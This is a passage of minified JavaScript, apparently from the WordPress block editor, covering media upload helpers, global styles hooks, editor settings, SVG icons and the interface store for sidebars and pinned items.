b?.id?b.id:b?.wp_id,x=y?{post:y}:{},v=()=>{h(_),p(_),f=!1};(0,Ei.uploadMedia)({allowedTypes:t,filesList:s,onFileChange:e=>{f?v():(m(_),u(_),f=!0),i?.(e)},onSuccess:r,additionalData:{...x,...e},maxUploadFileSize:o,onError:({message:e})=>{v(),n(e)},wpAllowedMimeTypes:g,multiple:a})}const{sideloadMedia:Lr}=$(Ei.privateApis),Or=Lr;var Fr=s(66),Vr=s.n(Fr);
/*!
 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
 *
 * Copyright (c) 2014-2017, Jon Schlinkert.
 * Released under the MIT License.
 */
function zr(e){return"[object Object]"===Object.prototype.toString.call(e)}function Ur(e){var t,s;return!1!==zr(e)&&(void 0===(t=e.constructor)||!1!==zr(s=t.prototype)&&!1!==s.hasOwnProperty("isPrototypeOf"))}const{GlobalStylesContext:Hr,cleanEmptyObject:Gr}=$(h.privateApis);function $r(e,t){return Vr()(e,t,{isMergeableObject:Ur,customMerge:e=>{if("backgroundImage"===e)return(e,t)=>t}})}function Wr(){const[e,t,s]=function(){const{globalStylesId:e,isReady:t,settings:s,styles:o,_links:n}=(0,c.useSelect)((e=>{const{getEntityRecord:t,getEditedEntityRecord:s,hasFinishedResolution:o,canUser:n}=e(d.store),i=e(d.store).__experimentalGetCurrentGlobalStylesId();let r;const a=i?n("update",{kind:"root",name:"globalStyles",id:i}):null;i&&"boolean"==typeof a&&(r=a?s("root","globalStyles",i):t("root","globalStyles",i,{context:"view"}));let l=!1;return o("__experimentalGetCurrentGlobalStylesId")&&(l=!i||(a?o("getEditedEntityRecord",["root","globalStyles",i]):o("getEntityRecord",["root","globalStyles",i,{context:"view"}]))),{globalStylesId:i,isReady:l,settings:r?.settings,styles:r?.styles,_links:r?._links}}),[]),{getEditedEntityRecord:i}=(0,c.useSelect)(d.store),{editEntityRecord:r}=(0,c.useDispatch)(d.store);return[t,(0,u.useMemo)((()=>({settings:null!=s?s:{},styles:null!=o?o:{},_links:null!=n?n:{}})),[s,o,n]),(0,u.useCallback)(((t,s={})=>{var o,n,a;const l=i("root","globalStyles",e),c={styles:null!==(o=l?.styles)&&void 0!==o?o:{},settings:null!==(n=l?.settings)&&void 0!==n?n:{},_links:null!==(a=l?._links)&&void 0!==a?a:{}},d="function"==typeof t?t(c):t;r("root","globalStyles",e,{styles:Gr(d.styles)||{},settings:Gr(d.settings)||{},_links:Gr(d._links)||{}},s)}),[e,r,i])]}(),[o,n]=function(){const e=(0,c.useSelect)((e=>e(d.store).__experimentalGetCurrentThemeBaseGlobalStyles()),[]);return[!!e,e]}(),i=(0,u.useMemo)((()=>n&&t?$r(n,t):{}),[t,n]);return(0,u.useMemo)((()=>({isReady:e&&o,user:t,base:n,merged:i,setUserConfig:s})),[i,t,n,s,e,o])}const Zr={};function Yr(e){const{RECEIVE_INTERMEDIATE_RESULTS:t}=$(d.privateApis),{getEntityRecords:s}=e(d.store);return s("postType","wp_block",{per_page:-1,[t]:!0})}const Kr=["__experimentalBlockDirectory","__experimentalDiscussionSettings","__experimentalFeatures","__experimentalGlobalStylesBaseStyles","alignWide","blockInspectorTabs","maxUploadFileSize","allowedMimeTypes","bodyPlaceholder","canLockBlocks","canUpdateBlockBindings","capabilities","clearBlockSelection","codeEditingEnabled","colors","disableCustomColors","disableCustomFontSizes","disableCustomSpacingSizes","disableCustomGradients","disableLayoutStyles","enableCustomLineHeight","enableCustomSpacing","enableCustomUnits","enableOpenverseMediaCategory","fontSizes","gradients","generateAnchors","onNavigateToEntityRecord","imageDefaultSize","imageDimensions","imageEditing","imageSizes","isPreviewMode","isRTL","locale","maxWidth","postContentAttributes","postsPerPage","readOnly","styles","titlePlaceholder","supportsLayout","widgetTypesToHideFromLegacyWidgetBlock","__unstableHasCustomAppender","__unstableResolvedAssets","__unstableIsBlockBasedTheme"],{globalStylesDataKey:qr,globalStylesLinksDataKey:Qr,selectBlockPatternsKey:Xr,reusableBlocksSelectKey:Jr,sectionRootClientIdKey:ea}=$(h.privateApis);const ta=function(e,t,s,o){var n,i,r,a;const l=(0,p.useViewportMatch)("medium"),{allowRightClickOverrides:m,blockTypes:g,focusMode:_,hasFixedToolbar:f,isDistractionFree:b,keepCaretInsideBlock:x,hasUploadPermissions:v,hiddenBlockTypes:S,canUseUnfilteredHTML:w,userCanCreatePages:C,pageOnFront:P,pageForPosts:j,userPatternCategories:E,restBlockPatternCategories:T,sectionRootClientId:B}=(0,c.useSelect)((e=>{var n;const{canUser:i,getRawEntityRecord:r,getEntityRecord:a,getUserPatternCategories:c,getBlockPatternCategories:u}=e(d.store),{get:p}=e(k.store),{getBlockTypes:m}=e(y.store),{getBlocksByName:g,getBlockAttributes:_}=e(h.store),f=i("read",{kind:"root",name:"site"})?a("root","site"):void 0;return{allowRightClickOverrides:p("core","allowRightClickOverrides"),blockTypes:m(),canUseUnfilteredHTML:r("postType",t,s)?._links?.hasOwnProperty("wp:action-unfiltered-html"),focusMode:p("core","focusMode"),hasFixedToolbar:p("core","fixedToolbar")||!l,hiddenBlockTypes:p("core","hiddenBlockTypes"),isDistractionFree:p("core","distractionFree"),keepCaretInsideBlock:p("core","keepCaretInsideBlock"),hasUploadPermissions:null===(n=i("create",{kind:"root",name:"media"}))||void 0===n||n,userCanCreatePages:i("create",{kind:"postType",name:"page"}),pageOnFront:f?.page_on_front,pageForPosts:f?.page_for_posts,userPatternCategories:c(),restBlockPatternCategories:u(),sectionRootClientId:"template-locked"===o?null!==(x=g("core/post-content")?.[0])&&void 0!==x?x:"":null!==(b=g("core/group").find((e=>"main"===_(e)?.tagName)))&&void 0!==b?b:""};var b,x}),[t,s,l,o]),{merged:I}=Wr(),N=null!==(n=I.styles)&&void 0!==n?n:Zr,D=null!==(i=I._links)&&void 0!==i?i:Zr,A=null!==(r=e.__experimentalAdditionalBlockPatterns)&&void 0!==r?r:e.__experimentalBlockPatterns,R=null!==(a=e.__experimentalAdditionalBlockPatternCategories)&&void 0!==a?a:e.__experimentalBlockPatternCategories,M=(0,u.useMemo)((()=>[...A||[]].filter((({postTypes:e})=>!e||Array.isArray(e)&&e.includes(t)))),[A,t]),L=(0,u.useMemo)((()=>[...R||[],...T||[]].filter(((e,t,s)=>t===s.findIndex((t=>e.name===t.name))))),[R,T]),{undo:O,setIsInserterOpened:F}=(0,c.useDispatch)(Ac),{saveEntityRecord:V}=(0,c.useDispatch)(d.store),z=(0,u.useCallback)((e=>C?V("postType","page",e):Promise.reject({message:(0,fs.__)("You do not have permission to create Pages.")})),[V,C]),U=(0,u.useMemo)((()=>{if(S&&S.length>0){return(!0===e.allowedBlockTypes?g.map((({name:e})=>e)):e.allowedBlockTypes||[]).filter((e=>!S.includes(e)))}return e.allowedBlockTypes}),[e.allowedBlockTypes,S,g]),H=!1===e.focusMode;return(0,u.useMemo)((()=>{const s={...Object.fromEntries(Object.entries(e).filter((([e])=>Kr.includes(e)))),[qr]:N,[Qr]:D,allowedBlockTypes:U,allowRightClickOverrides:m,focusMode:_&&!H,hasFixedToolbar:f,isDistractionFree:b,keepCaretInsideBlock:x,mediaUpload:v?Mr:void 0,mediaSideload:v?Or:void 0,__experimentalBlockPatterns:M,[Xr]:e=>{const{hasFinishedResolution:s,getBlockPatternsForPostType:o}=$(e(d.store)),n=o(t);return s("getBlockPatterns")?n:void 0},[Jr]:Yr,__experimentalBlockPatternCategories:L,__experimentalUserPatternCategories:E,__experimentalFetchLinkSuggestions:(t,s)=>(0,d.__experimentalFetchLinkSuggestions)(t,s,e),inserterMediaCategories:jr,__experimentalFetchRichUrlData:d.__experimentalFetchUrlData,__experimentalCanUserUseUnfilteredHTML:w,__experimentalUndo:O,outlineMode:!b&&"wp_template"===t,__experimentalCreatePageEntity:z,__experimentalUserCanCreatePages:C,pageOnFront:P,pageForPosts:j,__experimentalPreferPatternsOnRoot:"wp_template"===t,templateLock:"wp_navigation"===t?"insert":e.templateLock,template:"wp_navigation"===t?[["core/navigation",{},[]]]:e.template,__experimentalSetIsInserterOpened:F,[ea]:B,editorTool:"post-only"===o&&"wp_template"!==t?"edit":void 0};return s}),[U,m,_,H,f,b,x,e,v,E,M,L,w,O,z,C,P,j,t,F,B,N,D,o])},sa=["core/post-title","core/post-featured-image","core/post-content"];function oa(){const e=(0,u.useMemo)((()=>[...(0,m.applyFilters)("editor.postContentBlockTypes",sa)]),[]),t=(0,c.useSelect)((t=>{const{getPostBlocksByName:s}=$(t(Ac));return s(e)}),[e]);return t}function na(){const e=oa(),{templateParts:t,isNavigationMode:s}=(0,c.useSelect)((e=>{const{getBlocksByName:t,isNavigationMode:s}=e(h.store);return{templateParts:t("core/template-part"),isNavigationMode:s()}}),[]),o=(0,c.useSelect)((e=>{const{getBlockOrder:s}=e(h.store);return t.flatMap((e=>s(e)))}),[t]),n=(0,c.useRegistry)();return(0,u.useEffect)((()=>{const{setBlockEditingMode:e,unsetBlockEditingMode:t}=n.dispatch(h.store);return e("","disabled"),()=>{t("")}}),[n]),(0,u.useEffect)((()=>{const{setBlockEditingMode:t,unsetBlockEditingMode:s}=n.dispatch(h.store);return n.batch((()=>{for(const s of e)t(s,"contentOnly")})),()=>{n.batch((()=>{for(const t of e)s(t)}))}}),[e,n]),(0,u.useEffect)((()=>{const{setBlockEditingMode:e,unsetBlockEditingMode:o}=n.dispatch(h.store);return n.batch((()=>{if(!s)for(const s of t)e(s,"contentOnly")})),()=>{n.batch((()=>{if(!s)for(const e of t)o(e)}))}}),[t,s,n]),(0,u.useEffect)((()=>{const{setBlockEditingMode:e,unsetBlockEditingMode:t}=n.dispatch(h.store);return n.batch((()=>{for(const t of o)e(t,"disabled")})),()=>{n.batch((()=>{for(const e of o)t(e)}))}}),[o,n]),null}function ia(){const e=(0,c.useSelect)((e=>e(h.store).getBlockOrder()?.[0]),[]),{setBlockEditingMode:t,unsetBlockEditingMode:s}=(0,c.useDispatch)(h.store);(0,u.useEffect)((()=>{if(e)return t(e,"contentOnly"),()=>{s(e)}}),[e,s,t])}const ra=["wp_block","wp_template","wp_template_part"];const aa=(0,L.jsxs)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,L.jsx)(M.Path,{d:"m16 15.5h-8v-1.5h8zm-7.5-2.5h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm-9-3h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2z"}),(0,L.jsx)(M.Path,{d:"m18.5 6.5h-13a.5.5 0 0 0 -.5.5v9.5a.5.5 0 0 0 .5.5h13a.5.5 0 0 0 .5-.5v-9.5a.5.5 0 0 0 -.5-.5zm-13-1.5h13a2 2 0 0 1 2 2v9.5a2 2 0 0 1 -2 2h-13a2 2 0 0 1 -2-2v-9.5a2 2 0 0 1 2-2z"})]}),la=(0,L.jsx)(M.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,L.jsx)(M.Path,{d:"M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z"})}),ca=(0,L.jsx)(M.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,L.jsx)(M.Path,{d:"M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z"})}),da=(0,L.jsx)(M.SVG,{width:"24",height:"24",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM8.5 18.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h2.5v13zm10-.5c0 .3-.2.5-.5.5h-8v-13h8c.3 0 .5.2.5.5v12z"})}),ua=(0,L.jsx)(M.SVG,{width:"24",height:"24",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z"})}),pa=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z"})}),ma=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"})}),ha=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z"})}),ga=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})}),_a=(0,L.jsxs)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,L.jsx)(M.Path,{d:"M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z"}),(0,L.jsx)(M.Path,{d:"M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z"})]}),fa=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z"})}),ba=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M12 4V2.2L9 4.8l3 2.5V5.5c3.6 0 6.5 2.9 6.5 6.5 0 2.9-1.9 5.3-4.5 6.2v.2l-.1-.2c-.4.1-.7.2-1.1.2l.2 1.5c.3 0 .6-.1 1-.2 3.5-.9 6-4 6-7.7 0-4.4-3.6-8-8-8zm-7.9 7l1.5.2c.1-1.2.5-2.3 1.2-3.2l-1.1-.9C4.8 8.2 4.3 9.6 4.1 11zm1.5 1.8l-1.5.2c.1.7.3 1.4.5 2 .3.7.6 1.3 1 1.8l1.2-.8c-.3-.5-.6-1-.8-1.5s-.4-1.1-.4-1.7zm1.5 5.5c1.1.9 2.4 1.4 3.8 1.6l.2-1.5c-1.1-.1-2.2-.5-3.1-1.2l-.9 1.1z"})}),ya=window.wp.commands,xa=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z"})}),va=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",d:"M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z",clipRule:"evenodd"})}),Sa=window.wp.viewport,wa=window.wp.plugins;function ka(e){return["core/edit-post","core/edit-site"].includes(e)?(w()(`${e} interface scope`,{alternative:"core interface scope",hint:"core/edit-post and core/edit-site are merging.",version:"6.6"}),"core"):e}function Ca(e,t){return"core"===e&&"edit-site/template"===t?(w()("edit-site/template sidebar",{alternative:"edit-post/document",version:"6.6"}),"edit-post/document"):"core"===e&&"edit-site/block-inspector"===t?(w()("edit-site/block-inspector sidebar",{alternative:"edit-post/block",version:"6.6"}),"edit-post/block"):t}const Pa=(e,t)=>({type:"SET_DEFAULT_COMPLEMENTARY_AREA",scope:e=ka(e),area:t=Ca(e,t)}),ja=(e,t)=>({registry:s,dispatch:o})=>{if(!t)return;e=ka(e),t=Ca(e,t);s.select(k.store).get(e,"isComplementaryAreaVisible")||s.dispatch(k.store).set(e,"isComplementaryAreaVisible",!0),o({type:"ENABLE_COMPLEMENTARY_AREA",scope:e,area:t})},Ea=e=>({registry:t})=>{e=ka(e);t.select(k.store).get(e,"isComplementaryAreaVisible")&&t.dispatch(k.store).set(e,"isComplementaryAreaVisible",!1)},Ta=(e,t)=>({registry:s})=>{if(!t)return;e=ka(e),t=Ca(e,t);const o=s.select(k.store).get(e,"pinnedItems");!0!==o?.[t]&&s.dispatch(k.store).set(e,"pinnedItems",{...o,[t]:!0})},Ba=(e,t)=>({registry:s})=>{if(!t)return;e=ka(e),t=Ca(e,t);const o=s.select(k.store).get(e,"pinnedItems");s.dispatch(k.store).set(e,"pinnedItems",{...o,[t]:!1})};function Ia(e,t){return function({registry:s}){w()("dispatch( 'core/interface' ).toggleFeature",{since:"6.0",alternative:"dispatch( 'core/preferences' ).toggle"}),s.dispatch(k.store).toggle(e,t)}}function Na(e,t,s){return function({registry:o}){w()("dispatch( 'core/interface' ).setFeatureValue",{since:"6.0",alternative:"dispatch( 'core/preferences' ).set"}),o.dispatch(k.store).set(e,t,!!s)}}function Da(e,t){return function({registry:s}){w()("dispatch( 'core/interface' ).setFeatureDefaults",{since:"6.0",alternative:"dispatch( 'core/preferences' ).setDefaults"}),s.dispatch(k.store).setDefaults(e,t)}}function Aa(e){return{type:"OPEN_MODAL",name:e}}function Ra(){return{type:"CLOSE_MODAL"}}const Ma=(0,c.createRegistrySelector)((e=>(t,s)=>{s=ka(s);const o=e(k.store).get(s,"isComplementaryAreaVisible");if(void 0!==o)return!1===o?null:t?.complementaryAreas?.[s]})),La=(0,c.createRegistrySelector)((e=>(t,s)=>{s=ka(s);const o=e(k.store).get(s,"isComplementaryAreaVisible"),n=t?.complementaryAreas?.[s];return o&&void 0===n})),Oa=(0,c.createRegistrySelector)((e=>(t,s,o)=>{var n;o=Ca(s=ka(s),o);const i=e(k.store).get(s,"pinnedItems");return null===(n=i?.[o])||void 0===n||n})),Fa=(0,c.createRegistrySelector)((e=>(t,s,o)=>(w()("select( 'core/interface' ).isFeatureActive( scope, featureName )",{since:"6.0",alternative:"select( 'core/preferences' ).get( scope, featureName )"}),!!e(k.store).get(s,o))));function Va(e,t){return e.activeModal===t}const za=(0,c.combineReducers)({complementaryAreas:function(e={},t){switch(t.type){case"SET_DEFAULT_COMPLEMENTARY_AREA":{const{scope:s,area:o}=t;return e[s]?e:{...e,[s]:o}}case"ENABLE_COMPLEMENTARY_AREA":{const{scope:s,area:o}=t;return{...e,[s]:o}}}return e},activeModal:function(e=null,t){switch(t.type){case"OPEN_MODAL":return t.name;case"CLOSE_MODAL":return null}return e}}),Ua=(0,c.createReduxStore)("core/interface",{reducer:za,actions:n,selectors:i});function Ha({as:e=Uo.Button,scope:t,identifier:s,icon:o,selectedIcon:n,name:i,shortcut:r,...a}){const l=e,d=(0,wa.usePluginContext)(),u=o||d.icon,p=s||`${d.name}/${i}`,m=(0,c.useSelect)((e=>e(Ua).getActiveComplementaryArea(t)===p),[p,t]),{enableComplementaryArea:h,disableComplementaryArea:g}=(0,c.useDispatch)(Ua);return(0,L.jsx)(l,{icon:n&&m?n:u,"aria-controls":p.replace("/",":"),"aria-checked":(_=a.role,["checkbox","option","radio","switch","menuitemcheckbox","menuitemradio","treeitem"].includes(_)?m:void 0),onClick:()=>{m?g(t):h(t,p)},shortcut:r,...a});var _}(0,c.register)(Ua);const Ga=({children:e,className:t,toggleButtonProps:s})=>{const o=(0,L.jsx)(Ha,{icon:Bn,...s});return(0,L.jsxs)("div",{className:Di("components-panel__header","interface-complementary-area-header",t),tabIndex:-1,children:[e,o]})},$a=()=>{};function Wa({name:e,as:t=Uo.Button,onClick:s,...o}){return(0,L.jsx)(Uo.Fill,{name:e,children:({onClick:e})=>(0,L.jsx)(t,{onClick:s||e?(...t)=>{(s||$a)(...t),(e||$a)(...t)}:void 0,...o})})}Wa.Slot=function({name:e,as:t=Uo.MenuGroup,fillProps:s={},bubblesVirtually:o,...n}){return(0,L.jsx)(Uo.Slot,{name:e,bubblesVirtually:o,fillProps:s,children:e=>{if(!u.Children.toArray(e).length)return null;const s=[];u.Children.forEach(e,(({props:{__unstableExplicitMenuItem:e,__unstableTarget:t}})=>{t&&e&&s.push(t)}));const o=u.Children.map(e,(e=>!e.props.__unstableExplicitMenuItem&&s.includes(e.props.__unstableTarget)?null:e));return(0,L.jsx)(t,{...n,children:o})}})};const Za=Wa,Ya=({__unstableExplicitMenuItem:e,__unstableTarget:t,...s})=>(0,L.jsx)(Uo.MenuItem,{...s});function Ka({scope:e,target:t,__unstableExplicitMenuItem:s,...o}){return(0,L.jsx)(Ha,{as:o=>(0,L.jsx)(Za,{__unstableExplicitMenuItem:s,__unstableTarget:`${e}/${t}`,as:Ya,name:`${e}/plugin-more-menu`,...o}),role:"menuitemcheckbox",selectedIcon:Ho,name:t,scope:e,...o})}function qa({scope:e,...t}){return(0,L.jsx)(Uo.Fill,{name:`PinnedItems/${e}`,...t})}qa.Slot=function({scope:e,className:t,...s}){return(0,L.jsx)(Uo.Slot,{name:`PinnedItems/${e}`,...s,children:e=>e?.length>0&&(0,L.jsx)("div",{className:Di(t,"interface-pinned-items"),children:e})})};const Qa=qa;const Xa={open:{width:280},closed:{width:0},mobileOpen:{width:"100vw"}};function Ja({activeArea:e,isActive:t,scope:s,children:o,className:n,id:i}){const r=(0,p.useReducedMotion)(),a=(0,p.useViewportMatch)("medium","<"),l=(0,p.usePrevious)(e),c=(0,p.usePrevious)(t),[,d]=(0,u.useState)({});(0,u.useEffect)((()=>{d({})}),[t]);const m={type:"tween",duration:r||a||l&&e&&e!==l?0:.3,ease:[.6,0,.4,1]};return(0,L.jsx)(Uo.Fill,{name:`ComplementaryArea/${s}`,children:(0,L.jsx)(Uo.__unstableAnimatePresence,{initial:!1,children:(c||t)&&(0,L.jsx)(Uo.__unstableMotion.div,{variants:Xa,initial:"closed",animate:a?"mobileOpen":"open",exit:"closed",transition:m,className:"interface-complementary-area__fill",children:(0,L.jsx)("div",{id:i,className:n,style:{width:a?"100vw":280},children:o})})})})}function el({children:e,className:t,closeLabel:s=(0,fs.__)("Close plugin"),identifier:o,header:n,headerClassName:i,icon:r,isPinnable:a=!0,panelClassName:l,scope:d,name:m,title:h,toggleShortcut:g,isActiveByDefault:_}){const f=(0,wa.usePluginContext)(),b=r||f.icon,y=o||`${f.name}/${m}`,[x,v]=(0,u.useState)(!1),{isLoading:S,isActive:w,isPinned:C,activeArea:P,isSmall:j,isLarge:E,showIconLabels:T}=(0,c.useSelect)((e=>{const{getActiveComplementaryArea:t,isComplementaryAreaLoading:s,isItemPinned:o}=e(Ua),{get:n}=e(k.store),i=t(d);return{isLoading:s(d),isActive:i===y,isPinned:o(d,y),activeArea:i,isSmall:e(Sa.store).isViewportMatch("< medium"),isLarge:e(Sa.store).isViewportMatch("large"),showIconLabels:n("core","showIconLabels")}}),[y,d]),B=(0,p.useViewportMatch)("medium","<");!function(e,t,s,o,n){const i=(0,u.useRef)(!1),r=(0,u.useRef)(!1),{enableComplementaryArea:a,disableComplementaryArea:l}=(0,c.useDispatch)(Ua);(0,u.useEffect)((()=>{o&&n&&!i.current?(l(e),r.current=!0):r.current&&!n&&i.current?(r.current=!1,a(e,t)):r.current&&s&&s!==t&&(r.current=!1),n!==i.current&&(i.current=n)}),[o,n,e,t,s,l,a])}(d,y,P,w,j);const{enableComplementaryArea:I,disableComplementaryArea:N,pinItem:D,unpinItem:A}=(0,c.useDispatch)(Ua);if((0,u.useEffect)((()=>{_&&void 0===P&&!j?I(d,y):void 0===P&&j&&N(d,y),v(!0)}),[P,_,d,y,j,I,N]),x)return(0,L.jsxs)(L.Fragment,{children:[a&&(0,L.jsx)(Qa,{scope:d,children:C&&(0,L.jsx)(Ha,{scope:d,identifier:y,isPressed:w&&(!T||E),"aria-expanded":w,"aria-disabled":S,label:h,icon:T?Ho:b,showTooltip:!T,variant:T?"tertiary":void 0,size:"compact",shortcut:g})}),m&&a&&(0,L.jsx)(Ka,{target:m,scope:d,icon:b,children:h}),(0,L.jsxs)(Ja,{activeArea:P,isActive:w,className:Di("interface-complementary-area",t),scope:d,id:y.replace("/",":"),children:[(0,L.jsx)(Ga,{className:i,closeLabel:s,onClose:()=>N(d),toggleButtonProps:{label:s,size:"compact",shortcut:g,scope:d,identifier:y},children:n||(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)("h2",{className:"interface-complementary-area-header__title",children:h}),a&&!B&&(0,L.jsx)(Uo.Button,{className:"interface-complementary-area__pin-unpin-item",icon:C?xa:va,label:C?(0,fs.__)("Unpin from toolbar"):(0,fs.__)("Pin to toolbar"),onClick:()=>(C?A:D)(d,y),isPressed:C,"aria-expanded":C,size:"compact"})]})}),(0,L.jsx)(Uo.Panel,{className:l,children:e})]})]})}el.Slot=function({scope:e,...t}){return(0,L.jsx)(Uo.Slot,{name:`ComplementaryArea/${e}`,...t})};const tl=el,sl=({isActive:e})=>((0,u.useEffect)((()=>{let e=!1;return document.body.classList.contains("sticky-menu")&&(e=!0,document.body.classList.remove("sticky-menu")),()=>{e&&document.body.classList.add("sticky-menu")}}),[]),(0,u.useEffect)((()=>(e?document.body.classList.add("is-fullscreen-mode"):document.body.classList.remove("is-fullscreen-mode"),()=>{e&&document.body.classList.remove("is-fullscreen-mode")})),[e]),null),ol=(0,u.forwardRef)((({children:e,className:t,ariaLabel:s,as:o="div",...n},i)=>(0,L.jsx)(o,{ref:i,className:Di("interface-navigable-region",t),"aria-label":s,role:"region",tabIndex:"-1",...n,children:e})));ol.displayName="NavigableRegion";const nl=ol,il={type:"tween",duration:.25,ease:[.6,0,.4,1]};const rl={hidden:{opacity:1,marginTop:-60},visible:{opacity:1,marginTop:0},distractionFreeHover:{opacity:1,marginTop:0,transition:{...il,delay:.2,delayChildren:.2}},distractionFreeHidden:{opacity:0,marginTop:-60},distractionFreeDisabled:{opacity:0,marginTop:0,transition:{...il,delay:.8,delayChildren:.8}}};const 